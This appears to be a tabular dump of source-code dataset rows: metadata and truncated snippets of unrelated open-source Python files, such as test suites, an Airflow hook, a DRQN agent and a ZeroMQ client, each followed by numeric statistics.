ma... | 11.5 | 40 | 0.567506 | 73 | 437 | 3.383562 | 0.438356 | 0.11336 | 0.072874 | 0.133603 | 0.202429 | 0.202429 | 0.202429 | 0.202429 | 0 | 0 | 0 | 0.05618 | 0.185355 | 437 | 37 | 41 | 11.810811 | 0.63764 | 0 | 0 | 0.434783 | 0 | 0 | 0.118993 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086957 | false | 0 | 0.043478 | 0 | 0.130435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddf7f46a03e2f875d36d3fadd6c70b90528b78f0 | 1,202 | py | Python | setup.py | originell/sentry-twilio | 716c444649b38b68f9d6a02986de090bb7e580b9 | [
"MIT"
] | null | null | null | setup.py | originell/sentry-twilio | 716c444649b38b68f9d6a02986de090bb7e580b9 | [
"MIT"
] | 1 | 2017-02-01T16:49:25.000Z | 2017-02-01T16:49:25.000Z | setup.py | originell/sentry-twilio | 716c444649b38b68f9d6a02986de090bb7e580b9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
sentry-twilio
=============
Sentry Notification plugin for Twilio Programmable SMS.
:copyright: 2017 Luis Nell.
:license: MIT, see LICENSE for more details.
"""
from __future__ import absolute_import
from setuptools import setup, find_packages
VERSION = '1.0'
install_requires = [
'twil... | 24.04 | 74 | 0.645591 | 126 | 1,202 | 5.97619 | 0.579365 | 0.079681 | 0.047809 | 0.071713 | 0.12749 | 0.12749 | 0.12749 | 0 | 0 | 0 | 0 | 0.011727 | 0.219634 | 1,202 | 49 | 75 | 24.530612 | 0.791045 | 0.147255 | 0 | 0.085714 | 0 | 0 | 0.390364 | 0.056047 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.057143 | 0 | 0.057143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddf8e32544c5c3cd5719527188568b3163339c08 | 3,146 | py | Python | tests/test_refresh_subscription.py | Fak3/websubsub | f7ca8953197104483b152367c716028d841facbb | [
"MIT"
] | 4 | 2018-03-18T03:44:24.000Z | 2019-08-10T00:40:54.000Z | tests/test_refresh_subscription.py | Fak3/websubsub | f7ca8953197104483b152367c716028d841facbb | [
"MIT"
] | 9 | 2020-02-12T13:38:38.000Z | 2021-06-02T01:03:43.000Z | tests/test_refresh_subscription.py | Fak3/websubsub | f7ca8953197104483b152367c716028d841facbb | [
"MIT"
] | 2 | 2019-08-10T00:41:00.000Z | 2020-02-09T10:09:59.000Z | import re
from datetime import timedelta
import responses
from django.test import override_settings
from django.utils.timezone import now
from model_mommy.mommy import make
from websubsub.models import Subscription
from websubsub.tasks import refresh_subscriptions, retry_failed
from .base import BaseTestCase, method_... | 35.75 | 92 | 0.61602 | 328 | 3,146 | 5.780488 | 0.335366 | 0.066456 | 0.028481 | 0.07173 | 0.39557 | 0.379747 | 0.341772 | 0.341772 | 0.214662 | 0.130274 | 0 | 0.008509 | 0.29021 | 3,146 | 87 | 93 | 36.16092 | 0.840573 | 0.218055 | 0 | 0.220339 | 0 | 0 | 0.125154 | 0 | 0 | 0 | 0 | 0 | 0.050847 | 1 | 0.016949 | false | 0 | 0.152542 | 0 | 0.186441 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddfc5813cf287a659f99142896404836acf1a2ad | 9,452 | py | Python | src/agents/base.py | anindex/drqn-study | ab357178bbe6a1e09eda0f19583e8e8444bf4a54 | [
"MIT"
] | null | null | null | src/agents/base.py | anindex/drqn-study | ab357178bbe6a1e09eda0f19583e8e8444bf4a54 | [
"MIT"
] | null | null | null | src/agents/base.py | anindex/drqn-study | ab357178bbe6a1e09eda0f19583e8e8444bf4a54 | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import logging
import numpy as np
import random
from collections import deque
import torch
from os.path import exists
from torch.nn.functional import smooth_l1_loss, mse_loss # noqa
from torch.optim import Adam... | 44.375587 | 167 | 0.643779 | 1,232 | 9,452 | 4.702922 | 0.193994 | 0.05592 | 0.025889 | 0.017604 | 0.19106 | 0.121332 | 0.107352 | 0.077667 | 0.064895 | 0.051087 | 0 | 0.011247 | 0.247461 | 9,452 | 212 | 168 | 44.584906 | 0.803318 | 0.074587 | 0 | 0.12069 | 0 | 0 | 0.087111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.12069 | false | 0 | 0.068966 | 0.011494 | 0.218391 | 0.005747 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddfd26bd635a43dc9642fa41b92d7f6a9fd3de78 | 1,449 | py | Python | mongo_commander/widgets.py | thieman/mongo_commander | 407cccb1abdf16b3eb07f813f5dd5d9152930f4d | [
"MIT"
] | 2 | 2015-02-22T04:52:22.000Z | 2018-12-14T10:33:25.000Z | mongo_commander/widgets.py | thieman/mongo_commander | 407cccb1abdf16b3eb07f813f5dd5d9152930f4d | [
"MIT"
] | null | null | null | mongo_commander/widgets.py | thieman/mongo_commander | 407cccb1abdf16b3eb07f813f5dd5d9152930f4d | [
"MIT"
] | null | null | null | """Widgets abstract out common View rendering patterns like displaying
a list of logging messages or a bar chart. They typically take the ClusterData
object, a window, and a list of keys they should care about from ClusterData.
They then draw directly onto the window."""
from operator import itemgetter
from .curses_u... | 39.162162 | 99 | 0.655625 | 195 | 1,449 | 4.687179 | 0.471795 | 0.038293 | 0.071116 | 0.037199 | 0.087527 | 0.087527 | 0.087527 | 0.087527 | 0.087527 | 0 | 0 | 0.007092 | 0.221532 | 1,449 | 36 | 100 | 40.25 | 0.803191 | 0.214631 | 0 | 0.08 | 0 | 0 | 0.042591 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16 | false | 0 | 0.08 | 0.04 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddfe5b6a2bd63f44708eacd4d1f196837c88804e | 958 | py | Python | tests/feature_propagation_test.py | emalgorithm/feature-propagation | de9ec54d5c035abe8d52d6ac4079156cc537e489 | [
"Apache-2.0"
] | 20 | 2022-03-09T00:06:23.000Z | 2022-03-18T09:59:36.000Z | tests/feature_propagation_test.py | emalgorithm/feature-propagation | de9ec54d5c035abe8d52d6ac4079156cc537e489 | [
"Apache-2.0"
] | 2 | 2022-03-14T22:00:58.000Z | 2022-03-21T02:11:50.000Z | tests/feature_propagation_test.py | twitter-research/feature-propagation | af2733589eab4023fca67f7e71a3b46ddbbea8cd | [
"Apache-2.0"
] | 3 | 2022-03-09T05:36:53.000Z | 2022-03-11T13:53:45.000Z | """
Copyright 2020 Twitter, Inc.
SPDX-License-Identifier: Apache-2.0
"""
import unittest
import math
import torch
from feature_propagation import FeaturePropagation
class TestFeaturePropagation(unittest.TestCase):
def test_feature_propagation(self):
X = torch.Tensor([1 / 2, 0, 1 / 3, 0]).reshape(-1, 1)
... | 29.9375 | 114 | 0.59499 | 132 | 958 | 4.143939 | 0.386364 | 0.021938 | 0.021938 | 0.021938 | 0.053016 | 0.016453 | 0.016453 | 0 | 0 | 0 | 0 | 0.069293 | 0.231733 | 958 | 31 | 115 | 30.903226 | 0.673913 | 0.066806 | 0 | 0 | 0 | 0 | 0.009029 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 1 | 0.052632 | false | 0 | 0.210526 | 0 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddff02eefab9048a47d0d1a8a7f90b6f135ea01d | 2,427 | py | Python | tests/test_file.py | gaiadhi/traDSSAT | 1d5615dbd4965bab5c2740134c706c1748ff5fae | [
"MIT"
] | 6 | 2020-10-05T11:50:37.000Z | 2022-02-24T08:36:22.000Z | tests/test_file.py | gaiadhi/traDSSAT | 1d5615dbd4965bab5c2740134c706c1748ff5fae | [
"MIT"
] | 23 | 2018-11-08T19:16:36.000Z | 2021-07-20T23:34:18.000Z | tests/test_file.py | gaiadhi/traDSSAT | 1d5615dbd4965bab5c2740134c706c1748ff5fae | [
"MIT"
] | 9 | 2018-11-06T21:04:07.000Z | 2021-06-19T05:43:24.000Z | import os
import unittest
import numpy.testing as npt
from tradssat import SoilFile, WTHFile, MTHFile, ExpFile, CULFile, ECOFile, DSSATResults
from tradssat.out import SoilTempOut, SoilNiOut, SummaryOut, PlantGroOut, ETOut, SoilWatOut, MulchOut
from tests.utils import _test_read, _test_write, rsrcs, read_json, get_re... | 35.173913 | 101 | 0.689328 | 324 | 2,427 | 4.916667 | 0.324074 | 0.035154 | 0.047709 | 0.055242 | 0.359699 | 0.319523 | 0.227872 | 0.124294 | 0.07533 | 0.07533 | 0 | 0.008891 | 0.212196 | 2,427 | 68 | 102 | 35.691176 | 0.824268 | 0.076638 | 0 | 0.2 | 0 | 0 | 0.038949 | 0.028986 | 0 | 0 | 0 | 0 | 0.066667 | 1 | 0.177778 | false | 0 | 0.133333 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb00206f76f0396ffc60257de95610a6a4ddebea | 2,840 | py | Python | airflow_spark_k8s/hooks/kubernetes.py | roitvt/airflow-spark-k8s | cd2a0ec63e1fb9ad43beb725a65e4d65a4d85206 | [
"Apache-2.0"
] | 2 | 2020-04-26T11:12:11.000Z | 2020-09-14T16:36:42.000Z | airflow_spark_k8s/hooks/kubernetes.py | roitvt/airflow-spark-k8s | cd2a0ec63e1fb9ad43beb725a65e4d65a4d85206 | [
"Apache-2.0"
] | 1 | 2020-04-14T18:20:20.000Z | 2020-04-14T18:26:27.000Z | airflow_spark_k8s/hooks/kubernetes.py | roitvt/airflow-spark-k8s | cd2a0ec63e1fb9ad43beb725a65e4d65a4d85206 | [
"Apache-2.0"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 37.866667 | 109 | 0.679225 | 364 | 2,840 | 5.137363 | 0.409341 | 0.053476 | 0.032086 | 0.030481 | 0.091444 | 0.059358 | 0.059358 | 0.041711 | 0 | 0 | 0 | 0.001866 | 0.24507 | 2,840 | 74 | 110 | 38.378378 | 0.870336 | 0.425 | 0 | 0.060606 | 0 | 0 | 0.155482 | 0.013953 | 0 | 0 | 0 | 0 | 0 | 1 | 0.121212 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb00a41d3f7f3756cedf6911bccc4f0b80b7ea08 | 325 | py | Python | tests/test_main.py | david-kirby/gh-action-docs | b231d14b0b629b4f308eba6cff50a35a98c9f521 | [
"MIT"
] | 1 | 2021-03-21T14:31:46.000Z | 2021-03-21T14:31:46.000Z | tests/test_main.py | david-kirby/gh-action-docs | b231d14b0b629b4f308eba6cff50a35a98c9f521 | [
"MIT"
] | null | null | null | tests/test_main.py | david-kirby/gh-action-docs | b231d14b0b629b4f308eba6cff50a35a98c9f521 | [
"MIT"
] | null | null | null | import logging
import unittest
from src.gh_action_docs import app
logging.disable(logging.CRITICAL)
class TestActionFileCheck(unittest.TestCase):
def test_no_files_found(self):
results = app.check_for_file("not-existent-file")
self.assertFalse(results)
if __name__ == "__main__":
unittest.ma... | 20.3125 | 57 | 0.747692 | 41 | 325 | 5.560976 | 0.731707 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156923 | 325 | 15 | 58 | 21.666667 | 0.832117 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0.1 | 1 | 0.1 | false | 0 | 0.3 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb0391e58115974e49fe694882ae6ffe7af0d172 | 2,330 | py | Python | 5.4/IPheaderChecksum.py | Fecer/Computer-Networks | fe4fc5bd1af7f2957aee407675cb018fa83c6735 | [
"MIT"
] | null | null | null | 5.4/IPheaderChecksum.py | Fecer/Computer-Networks | fe4fc5bd1af7f2957aee407675cb018fa83c6735 | [
"MIT"
] | null | null | null | 5.4/IPheaderChecksum.py | Fecer/Computer-Networks | fe4fc5bd1af7f2957aee407675cb018fa83c6735 | [
"MIT"
] | null | null | null | from xml.dom.minidom import parse
def printLine():
print('------------------------------------------')
if __name__ == '__main__':
# 获取参数
DOMTree = parse("config.xml")
collection = DOMTree.documentElement
header = collection.getElementsByTagName('header')[0].childNodes[0].data
printLine()
... | 24.526316 | 76 | 0.546781 | 332 | 2,330 | 3.813253 | 0.262048 | 0.063981 | 0.037915 | 0.009479 | 0.077409 | 0.077409 | 0.025276 | 0 | 0 | 0 | 0 | 0.090495 | 0.245923 | 2,330 | 94 | 77 | 24.787234 | 0.630051 | 0.001717 | 0 | 0.173333 | 0 | 0 | 0.129518 | 0.018072 | 0 | 0 | 0 | 0 | 0 | 1 | 0.013333 | false | 0 | 0.013333 | 0 | 0.026667 | 0.386667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb083e9034d5ab0e5ac6315a7e5ffb3f614cc66e | 1,029 | py | Python | tests/motors/spikebase_tank1.py | cschlack/pybricks-micropython | 0abfd2918267a4e6e7a04062976ac1bb3da1f4b1 | [
"MIT"
] | 1 | 2021-12-27T00:09:37.000Z | 2021-12-27T00:09:37.000Z | tests/motors/spikebase_tank1.py | cschlack/pybricks-micropython | 0abfd2918267a4e6e7a04062976ac1bb3da1f4b1 | [
"MIT"
] | null | null | null | tests/motors/spikebase_tank1.py | cschlack/pybricks-micropython | 0abfd2918267a4e6e7a04062976ac1bb3da1f4b1 | [
"MIT"
] | null | null | null | from pybricks.pupdevices import Motor
from pybricks.tools import wait
from pybricks.parameters import Port, Direction
from pybricks.robotics import SpikeBase
from pybricks import version
print(version)
# Initialize base.
left_motor = Motor(Port.C)
right_motor = Motor(Port.D)
spike_base = SpikeBase(left_motor, right_m... | 29.4 | 78 | 0.808552 | 156 | 1,029 | 5.153846 | 0.423077 | 0.078358 | 0.079602 | 0.052239 | 0.16791 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017076 | 0.089407 | 1,029 | 34 | 79 | 30.264706 | 0.840982 | 0.179786 | 0 | 0 | 0 | 0 | 0.109785 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.217391 | 0 | 0.217391 | 0.130435 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb097754f4efecf6545051b20dad8dee8adaa09e | 1,136 | py | Python | cyto/basic/_dict.py | sbtinstruments/cyto | f452562e5e9ae9d2516cd92958af6e6a2c985dcc | [
"MIT"
] | 5 | 2021-04-03T04:09:38.000Z | 2021-12-17T15:05:18.000Z | cyto/basic/_dict.py | sbtinstruments/cyto | f452562e5e9ae9d2516cd92958af6e6a2c985dcc | [
"MIT"
] | 1 | 2021-04-21T17:00:29.000Z | 2021-04-21T19:12:30.000Z | cyto/basic/_dict.py | sbtinstruments/cyto | f452562e5e9ae9d2516cd92958af6e6a2c985dcc | [
"MIT"
] | null | null | null | from typing import Any, Dict
def deep_update(dest: Dict[Any, Any], other: Dict[Any, Any]) -> None:
"""Update `dest` with the key/value pairs from `other`.
Returns `None`. Note that we modify `dest` in place.
Unlike the built-in `dict.Update`, `deep_update` recurses into sub-dictionaries.
This effect... | 39.172414 | 84 | 0.634683 | 167 | 1,136 | 4.239521 | 0.419162 | 0.067797 | 0.04661 | 0.042373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.269366 | 1,136 | 28 | 85 | 40.571429 | 0.853012 | 0.557218 | 0 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.090909 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb0b0d61a04227b98b766bf05a1daba731f1fb99 | 2,312 | py | Python | api_logic_server_cli/create_from_model/ui_basic_web_app_run.py | valhuber/ApiLogicServer | a4acd8d886a18d4d500e0fffffcaa2f1c0765040 | [
"BSD-3-Clause"
] | 71 | 2021-01-23T17:34:33.000Z | 2022-03-29T13:11:29.000Z | api_logic_server_cli/create_from_model/ui_basic_web_app_run.py | valhuber/ApiLogicServer | a4acd8d886a18d4d500e0fffffcaa2f1c0765040 | [
"BSD-3-Clause"
] | 38 | 2021-01-24T21:56:30.000Z | 2022-03-08T18:49:00.000Z | api_logic_server_cli/create_from_model/ui_basic_web_app_run.py | valhuber/ApiLogicServer | a4acd8d886a18d4d500e0fffffcaa2f1c0765040 | [
"BSD-3-Clause"
] | 14 | 2021-01-23T16:20:44.000Z | 2022-03-24T10:48:28.000Z | # runs ApiLogicServer basic web app:
# python ui/basic_web_app/run.py
# Export PYTHONPATH, to enable python ui/basic_web_app/run.py
import os, sys, logging
from pathlib import Path
logger = logging.getLogger()
current_path = Path(os.path.abspath(os.path.dirname(__file__)))
current_path = current_path.parent.absolute... | 36.125 | 105 | 0.733131 | 350 | 2,312 | 4.677143 | 0.362857 | 0.04887 | 0.067196 | 0.055589 | 0.189371 | 0.169823 | 0.103849 | 0.074527 | 0.074527 | 0.074527 | 0 | 0.014421 | 0.13019 | 2,312 | 63 | 106 | 36.698413 | 0.799602 | 0.189014 | 0 | 0.133333 | 0 | 0.022222 | 0.24275 | 0.038131 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.133333 | 0.088889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb0e6ce0d08d8c7d2254af54405bab1d2071c99d | 4,219 | py | Python | elastic_inference/apps/infer_service.py | qzheng527/cloud-native-demos | e2dbcfc0d90c1972bc34a35f5d85f83f2b2b6cf6 | [
"Apache-2.0"
] | 1 | 2020-04-06T10:11:27.000Z | 2020-04-06T10:11:27.000Z | elastic_inference/apps/infer_service.py | qzheng527/cloud-native-demos | e2dbcfc0d90c1972bc34a35f5d85f83f2b2b6cf6 | [
"Apache-2.0"
] | null | null | null | elastic_inference/apps/infer_service.py | qzheng527/cloud-native-demos | e2dbcfc0d90c1972bc34a35f5d85f83f2b2b6cf6 | [
"Apache-2.0"
] | 2 | 2021-01-19T21:42:08.000Z | 2021-08-13T19:59:06.000Z | #!/usr/bin/python3
"""
Infer service.
It pick up single frame from frame queue and do inference. The result will be
published to stream broker like below.
+---------------------+ +---------------+ +-----------------------+
| Frame Queue (redis) | => | Infer Service | => | Stream broker (redis) |
+--------... | 35.158333 | 99 | 0.599194 | 504 | 4,219 | 4.742063 | 0.293651 | 0.020502 | 0.029289 | 0.040167 | 0.205021 | 0.084519 | 0.050209 | 0 | 0 | 0 | 0 | 0.006406 | 0.260014 | 4,219 | 119 | 100 | 35.453782 | 0.759129 | 0.254089 | 0 | 0 | 0 | 0 | 0.130239 | 0.012573 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074627 | false | 0 | 0.164179 | 0 | 0.253731 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb0ed9b104a5cd8f1fa264f1f6318ff1bd1ed415 | 288 | py | Python | P25010-Guangzhou-Jiachengwu/week07/ex_filecopy.py | xiaohh2016/python-25 | 8981ba89bfb32754c3f9c881ee8fcaf13332ce51 | [
"Apache-2.0"
] | 1 | 2019-09-11T23:24:58.000Z | 2019-09-11T23:24:58.000Z | P25010-Guangzhou-Jiachengwu/week07/ex_filecopy.py | xiaohh2016/python-25 | 8981ba89bfb32754c3f9c881ee8fcaf13332ce51 | [
"Apache-2.0"
] | null | null | null | P25010-Guangzhou-Jiachengwu/week07/ex_filecopy.py | xiaohh2016/python-25 | 8981ba89bfb32754c3f9c881ee8fcaf13332ce51 | [
"Apache-2.0"
] | 5 | 2019-09-11T06:33:34.000Z | 2020-02-17T12:52:31.000Z | # 使用Python copy一个文件,从a目录,copy文件到b目录
import os
from pathlib import Path
import shutil
src_path=Path('a/test')
dst_path=Path('b/test')
with open(src_path,'w') as src_file:
src_file.write('abcd\n1234')
shutil.copy(src_path,dst_path)
print(os.stat(src_path))
print(os.stat(dst_path)) | 18 | 36 | 0.756944 | 51 | 288 | 4.098039 | 0.509804 | 0.133971 | 0.105263 | 0.143541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015444 | 0.100694 | 288 | 16 | 37 | 18 | 0.791506 | 0.114583 | 0 | 0 | 0 | 0 | 0.090551 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.3 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb0fe20410b5c56d7291f72bd22a841605532524 | 548 | py | Python | vanirio/module/interface/textfield.py | vaniriovanhalteren/sdk-python | 947b08fbe046d46275bf39bc95984fbf3edc0e6c | [
"MIT"
] | null | null | null | vanirio/module/interface/textfield.py | vaniriovanhalteren/sdk-python | 947b08fbe046d46275bf39bc95984fbf3edc0e6c | [
"MIT"
] | null | null | null | vanirio/module/interface/textfield.py | vaniriovanhalteren/sdk-python | 947b08fbe046d46275bf39bc95984fbf3edc0e6c | [
"MIT"
] | 1 | 2022-02-08T08:15:07.000Z | 2022-02-08T08:15:07.000Z | from vanirio.module.interface.base import Base
class Textfield(Base):
def __init__(self, tag: str, label: str):
"""
A Textfield interface object is used as a parameter for module
software. The interface can be used for string values.
:param label: GUI label name
:param tag... | 24.909091 | 70 | 0.600365 | 68 | 548 | 4.661765 | 0.514706 | 0.050473 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.313869 | 548 | 21 | 71 | 26.095238 | 0.843085 | 0.319343 | 0 | 0 | 0 | 0 | 0.027778 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.1 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb1042dc49fa8be20e43a1d8892da1c69f7bf202 | 2,348 | py | Python | utils.py | lanyinemt2/ST-PlusPlus | 7c31abfcf21e390a06c4d5da1f77a9fe5ff071ed | [
"MIT"
] | 73 | 2021-06-10T01:12:04.000Z | 2022-03-30T08:31:24.000Z | utils.py | lanyinemt2/ST-PlusPlus | 7c31abfcf21e390a06c4d5da1f77a9fe5ff071ed | [
"MIT"
] | 12 | 2021-07-01T00:27:11.000Z | 2022-03-17T05:09:49.000Z | utils.py | lanyinemt2/ST-PlusPlus | 7c31abfcf21e390a06c4d5da1f77a9fe5ff071ed | [
"MIT"
] | 18 | 2021-06-10T11:24:31.000Z | 2022-03-31T16:48:58.000Z | import numpy as np
from PIL import Image
def count_params(model):
param_num = sum(p.numel() for p in model.parameters())
return param_num / 1e6
class meanIOU:
def __init__(self, num_classes):
self.num_classes = num_classes
self.hist = np.zeros((num_classes, num_classes))
def _fast_h... | 33.070423 | 106 | 0.520017 | 352 | 2,348 | 3.386364 | 0.346591 | 0.11745 | 0.082215 | 0.022651 | 0.04698 | 0.04698 | 0 | 0 | 0 | 0 | 0 | 0.114724 | 0.305792 | 2,348 | 70 | 107 | 33.542857 | 0.616564 | 0 | 0 | 0 | 0 | 0 | 0.013203 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.035714 | 0.017857 | 0.267857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb107ee4532ec8cc33a8bdd76e5d3973b9f4d818 | 3,671 | py | Python | lib/bus/client.py | hoffmannmatheus/eaZy | d79ade0e01a23f1c6fa585ee378ed70c95976b05 | [
"MIT",
"Unlicense"
] | 3 | 2015-01-11T15:29:48.000Z | 2020-09-08T14:52:14.000Z | lib/bus/client.py | hoffmannmatheus/eaZy | d79ade0e01a23f1c6fa585ee378ed70c95976b05 | [
"MIT",
"Unlicense"
] | null | null | null | lib/bus/client.py | hoffmannmatheus/eaZy | d79ade0e01a23f1c6fa585ee378ed70c95976b05 | [
"MIT",
"Unlicense"
] | null | null | null | import zmq
import json
"""
Class used by the Client entity to communicate to the Server.
The communication channel should be configured using the three ports:
- com_port: Used to receive broadcast messages from the Server entity.
- set_port: Used to send messages/request data to the Server entity.
- res_port: Used t... | 35.990196 | 79 | 0.625443 | 496 | 3,671 | 4.544355 | 0.300403 | 0.035936 | 0.024401 | 0.030612 | 0.149068 | 0.085182 | 0.027507 | 0 | 0 | 0 | 0 | 0.008305 | 0.278398 | 3,671 | 101 | 80 | 36.346535 | 0.842582 | 0.376192 | 0 | 0.043478 | 0 | 0 | 0.067066 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.108696 | false | 0 | 0.043478 | 0 | 0.282609 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
fb12ef0139d2387d5de8cd18fde96987527d5c7f | 2,821 | py | Python | ops.py | fivoskal/MGAN | 2eb1407c907af5f472a80e8ae363bee57d5cfaa4 | [
"MIT"
